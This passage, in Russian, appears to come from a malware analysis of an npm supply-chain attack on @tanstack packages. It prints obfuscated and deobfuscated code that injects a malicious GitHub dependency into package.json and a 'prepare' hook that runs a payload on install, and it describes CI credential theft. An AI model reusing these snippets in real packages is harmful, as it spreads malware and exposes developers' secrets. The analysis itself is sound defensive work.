spawn(process.argv[0], args, { detached: true, stdio: "ignore" }).unref();
Помимо кражи учётных данных, полезная нагрузка, по-видимому, реализует механизм распространения по цепочке поставок, предназначенный для заражения дополнительных npm-пакетов. Наиболее явный индикатор — процедура updateTarball(), которая извлекает tarball пакета, переписывает его package.json, внедряет вредоносную зависимость, увеличивает версию пакета и заново упаковывает архив для дальнейшего распространения. Внедряемая зависимость указывает на размещённый на GitHub пакет с именем @tanstack/setup:
_0x656e4f['optionalDependencies'] = {}; _0x656e4f[_0x407cba(0x23ce)][_0x2dbd91['HYCHH']] = 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c';
Соответствующее деобфусцированное поведение фактически выглядит так:
packageJson.optionalDependencies = {}; packageJson.dependencies["@tanstack/setup"] = "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c";
Указанный коммит GitHub выглядит особенно подозрительно, поскольку он добавляет отдельный пакет, содержащий lifecycle-хук prepare:
{ "scripts": { "prepare": "bun run tanstack_runner.js && exit 1" } }
Поскольку npm автоматически выполняет lifecycle-хуки для зависимостей, установленных из Git-репозиториев, любая последующая установка модифицированного пакета автоматически запустит tanstack_runner.js на следующей машине-жертве или CI-runner’е.
Логика распространения и техники внедрения зависимостей очень похожи на методы, ранее задокументированные в недавних компрометациях цепочки поставок npm и PyPI, проанализированных Socket, включая инциденты Intercom, Lightning AI и SAP CAP. В частности, использование вредоносной программой зависимостей, размещённых на GitHub, вредоносных lifecycle-хуков (prepare), нацеливания на учётные данные CI/CD и автоматизированной модификации пакетов уже наблюдалось в предыдущих волнах этой кампании.
Послесловие
Инцидент с @tanstack в очередной раз показал, что GitHub Actions остаётся слабым звеном в безопасности supply chain. Вредонос был специально нацелен на CI-среду GitHub: он собирал переменные окружения раннера, получал данные для запроса OIDC-токена и обращался к GitHub API для перечисления секретов репозитория.
Это важно не только для TanStack. Если один workflow или раннер скомпрометирован, под угрозой оказываются токены, секреты и вся дальнейшая цепочка сборки и публикации. Этот случай лишь подтверждает, что GitHub Actions всё чаще становится удобной точкой входа для атак на инфраструктуру.